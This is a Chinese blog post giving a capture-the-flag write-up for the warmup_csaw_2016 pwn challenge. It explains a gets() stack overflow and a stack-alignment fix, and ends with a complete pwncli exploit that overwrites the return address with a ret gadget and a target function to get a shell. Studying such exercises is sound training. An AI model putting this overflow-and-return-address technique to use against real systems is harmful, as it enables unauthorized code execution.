2-warmup_csaw_2016

warmup_csaw_2016

题目链接

https://buuoj.cn/challenges#warmup_csaw_2016

检查保护

image

IDA分析

main

image

sub_40060D

image

栈_v5

漏洞:此处的gets存在栈溢出

image

运行

image

问题

此处movaps检查到栈未对齐,程序中断,需要进行栈对齐

image

ROPgadget查找ret

image

思路

  • 利用gets函数进行栈溢出
  • 栈对齐

成功getshell

image

EXP

#!/usr/bin/env python3
from pwncli import *
from libcfind import *

cli_script()  # 使用脚本模式必须显式调用这个函数

# 你能够从gift里面取到很多东西
io = gift['io']  # process或remote对象
elf = gift["elf"]  # ELF对象,ELF("./pwn")
libc = gift.libc  # ELF对象, ELF("./libc.so.6")

filename = gift.filename  # current filename
is_debug = gift.debug  # is debug or not
is_remote = gift.remote  # is remote or not
gdb_pid = gift.gdb_pid  # gdb pid if debug

# 有时候远程提供的libc与本地不一样,打靶机时替换libc为远程libc
if gift.remote:
    libc = ELF(
        "./home/wxp/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so")
    gift['libc'] = libc

# 这里写下攻击函数等

sla('>',flat({
    0x48:[
        0x4004a1,
        0x40060d
    ],
}))

io.interactive()  # 与socket保持交互
posted @ 2023-03-07 19:00  MSTLE  阅读(44)  评论(1)    收藏  举报